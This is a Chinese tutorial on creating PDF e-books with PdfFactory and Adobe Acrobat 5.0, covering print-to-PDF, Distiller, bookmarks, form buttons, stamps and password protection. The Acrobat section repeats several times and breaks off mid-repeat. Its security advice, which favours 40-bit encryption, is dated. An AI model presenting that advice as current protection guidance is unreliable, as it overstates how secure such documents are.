PDF文档是由Adobe公司开发的一种电子文档格式,它能够完整地保留源文档中的所有字体、格式、颜色和图形,并且具有跨平台、可以加密等众多优秀特性。现在许多报纸、杂志、小说都采用了PDF文档作为其专用保存的电子书籍格式,它已经成为全世界电子文档公开的事实标准。如果你也想制作PDF文档,那么你可以试试PdfFactory这个软件,使用它我们可以像打印普通文档一样来把文件“打印”成PDF文档,非常方便。它是一款共享软件,可在任何版本的Windows系统下运行。
下载安装好PdfFactory后,我们在打印机控制面板中就可以找到一台由PdfFactory虚拟出来的打印机。
下面我们以Word文档为例,讲解一下如何使用常用程序把普通文档“打印”成PDF文档。
首先启动Word程序并打开或新建一篇文档,然后单击“文件”菜单中的“打印”命令进入打印设置窗口(如图1)。这里我们在“打印机名称”下拉菜单中选择由PdfFactory虚拟出来的打印机。
图1选择由PdfFactory虚拟出来的打印机
选择完打印机后单击窗口中的“确定”按钮进入PDF文档转换设置窗口。
Preview(预览)标签页
在预览标签页内我们可以对即将要“打印”出的PDF文档进行预览,单击鼠标可以对文档进行缩放查看。
Fonts(字体)标签页
在字体标签页内我们可以确定是否把当前Word文档中使用到的所有字体都内嵌到PDF文档中去,或者只内嵌指定的字体(如图2)。
图2选择内嵌字体
DocInfo文档信息标签页
在文档信息标签页内我们可以设置PDF文档的一些基本信息,如标题(Title)、主题(Subject)、作者(Author)、关键字(Keywords)等等。
在我们设置完所需选项的参数后,就可以单击窗口中的“保存”按钮把当前的Word文档“打印”成PDF文档了!然后我们就可以用Adobe Acrobat Reader打开并进行阅读我们制作好的PDF文档了。同样在其他的常用程序中我们也可以把所需的文档或图片“打印”成PDF文档,比如Photoshop、IE、画图、记事本等等都可以,有兴趣的朋友可自行一试。
在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。 制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。 最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟! 软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。 二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧: 1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。 首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。 待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。 一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。 3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。 接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。 AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。 不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。 使用Distiller创建PDF文档有3种方式进行: ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。 ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。 ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。 由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。 三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧: 1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。 在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。 2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。 首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。 3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。 4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。 在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。 5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢! 下面就以制作带有OnMouse效果的跳转页面按钮为例介绍: 单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框: Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。 ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。 发下是六个标签页,点击后可以进行不同的设置。 Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。 Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。 Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。 Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。 完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。 6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。 (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。 (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13) (3)单击页面的左上角。默认时,出现“批准”印章。 你可从Acrobat印章库中选择另一个不同的印章。 (4)选择“编辑”→“属性”。 (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。 (6)选择手形工具,在文档窗口内单击以取消选取的印章。 除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。 (7)选择“文件”→“保存”以保存该文件。 7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下: 单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14): 如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。 建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。 在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。 我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。 设置完所有设置以后,点击OK关掉对话框即可。 总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。 在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。 制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。 最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟! 软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。 二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧: 1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。 首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。 待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。 一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。 3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。 接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。 AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。 不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。 使用Distiller创建PDF文档有3种方式进行: ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。 ⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。 ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。 由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。 三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧: 1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。 在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。 2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。 首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。 3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。 4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。 在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。 5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢! 下面就以制作带有OnMouse效果的跳转页面按钮为例介绍: 单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框: Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。 ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。 发下是六个标签页,点击后可以进行不同的设置。 Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。 Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。 Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。 Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。 完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。 6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。 (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。 (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13) (3)单击页面的左上角。默认时,出现“批准”印章。 你可从Acrobat印章库中选择另一个不同的印章。 (4)选择“编辑”→“属性”。 (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。 (6)选择手形工具,在文档窗口内单击以取消选取的印章。 除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。 (7)选择“文件”→“保存”以保存该文件。 7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下: 单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14): 如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。 建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。 在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。 我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。 设置完所有设置以后,点击OK关掉对话框即可。 总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。 在前面,我们介绍了EXE、PDF、LIT这三种格式电子书的制作方式,其中的PDF制作软件PDTDriver小巧,但是功能远不及AdobeAcrobat强大。因此,下面就重点讨论如何用AdobeAcrobat软件来制作一本PDF格式的电子图书,让令狐大侠也在PDF世界中“笑傲”一次吧。 制作PDF格式的电子图书当然少不了AdobeAcrobat,它与AdobeAcrobatReader并不完全相同,虽然是同一家公司的产品,但AdobeAcrobatReader仅仅是一个用于浏览PDF文档的阅读工具;而AdobeAcrobat软件则可以用来创建和改善PDF文件,是一款商业软件,集成了Postscript和PDF相关工具的软件开发包,其中有制作PDF文件所需要的PDFWriter、AcrobatDistiller、AcrobatExchange、AcrobatCatalog、AcrobatCapturePlug-ins、AcrobatScan、AdobePostscriptPrinterDriver等软件。我们不但可以像使用AdobeAcrobatReader一样来浏览、导航、打印PDF文件,而且还能使用它来创建自己的PDF文件,如果你使用了完全版本,那么可以将任何格式的文件包括从纸上扫描来的文件转换为PDF格式,并且提高文件的导航、保密和注解功能,你还可以使用Acrobat来创建PDF表单,可以将剪切下来的文本和表单粘贴到PDF文件中,也可以将PDF文件中的文本和表单剪切粘贴至其它文件中。 最新版本:5.0文件大小:95627KB软件授权:共享软件使用平台:Windows9x/Me下载地址:http//www.adobe.com一、软件的安装AdobeAcrobat的最新版本是5.0,可惜只有英文版本,如果加上亚洲语言支持包,差不多超过100MB,因此你是从http//www.adobe.com下载共享版本的话,可要稍微耐心一些哟! 软件的安装过程很简单,基本上一路“Next”就可以了,不过在这里要提醒的是最好使用“Custom”方式安装,否则是不会同时安装AcrobatPDFWriter程序的。还有一点,在安装亚洲语言支持包时一定要将它安装到“AdobeAcrobat”自己的目录下,不能指向下面的Reader子目录,否则阅读中文PDF文档时只能显示空码。软件安装结束后,安装程序会要求重启动系统。 二、跟我学做PDF文档这里要说明的是,AdobeAcrobat并不能创建一个空白的PDF文档,我们必须从其它软件导入电子文档。最简单的一种方法是将文件直接拖放到AdobeAcrobat窗口中就行了,或者使用Word97/2000中的CreateAdobePDF命令或者在打印命令中选择打印到PDF,下面就跟我学吧: 1.拖放方式这一种方式最为简单,我们只需同时打开AdobeAcrobat和资源管理器,找到《笑傲江湖》的Word文档图标,然后直接拖放到AdobeAcrobat窗口中,程序即会自动将它转换为PDF文档,2.通过“打印”命令创建PDF文档PDFWriter可以将文档快速打印成PDF格式,不过如果你的文档比较大或者其中含有声音、图像、动画等丰富的多媒体信息时,建议还是使用AcrobatDistiller较为合适一些。 首先在Word97/2000中打开要创建成PDF文档的文件(任何格式均可,只要Word可以打开),然后从“文件”菜单中选择“打印”命令,请不要选择工具栏的打印图标,因为这种方式无法改变打印机的名称,除非你已经在“打印机设置”中将AcrobatPDFWriter设置为缺省打印机。 待出现“打印”对话框后,从“打印机名称”下拉列表框中选择“AcrobatPDFWriter”,输入页码范围,然后单击“打印”或“确定”按钮即可(如图1所示),接着会出现一个如图2所示的“另存为”对话框,我们可以在这里为PDF文件输入一个文件名和保存路径,从图2中可以看到其下有“EditDocumentinfo”(编辑文档信息)和“ViewPDFFile”两个选项,前者可以打开如图3所示的“AcrobatPDFWriterDocumentInformation”对话框,你可以在这里输入标题、作者、关键词等信息,后者可以自动在Acrobat中打开新的PDF文件。 一切设置完成后,点击“保存”按钮,AcrobatPDFWriter就会在后台对文档进行转换,转换的时间视文档大小和内容而定,如果只是一些文本信息,那么转换的速度应该是很快的。现在,你就可以运行AdobeAcrobatReader或AdobeAcrobat程序,打开刚才创建的PDF文件,如图4所示,令狐大侠的形象就在你的眼前了。 3.使用CreateAdobePDF命令创建PDF文档从“文件→CreateAdobePDF”菜单下可以看到一共有Print和Preferences两个命令,如图5所示,首先最好选择“CreateAdobePDF→Preferences”命令,打开“AdobePDFMakerPreferences”对话框,对有关的选项进行一些设置,因为在转换过程中PDFMaker将会把Word文件中的一些信息和结构对应转换为PDF文件的信息和结构,如Word中的头部将被转换为PDF文件的书签,Word中的URL将被转换为PDF的网页链接,Word中的交叉参照将被转换为PDF的内部链接,Word中的文件属性将被转换为PDF的文件信息等等。 接下来,只要使用“CreateAdobePDF→Print”命令就可以将文档转换为PDF格式。 AcrobatDistiller是一个将Postscript文件转换为PDF文件的PDF文件生成器,用AcrobatDistiller制作的PDF文档可以保留源文件中全部内容,包括其中的格式和图形,而且与PDFWriter相比,它可以更精确地控制转换过程。 不过,为了使Distiller能够创建PDF文档,系统中必须安装一个PostScript打印机驱动程序和一个DistillerPostScript打印机说明(即PPD文件),Acrobat缺省安装包括AdobePS4.2.4(ForWindows9x)、AdobePS5.0/5.1(ForWindowsNT)、AdobePS8.501(ForMacOS)驱动程序。 使用Distiller创建PDF文档有3种方式进行: ⑴直接拖放文件只要找到相应文件,然后将文件图标直接拖放到Distiller图标或Acrobat窗口的标题栏上。 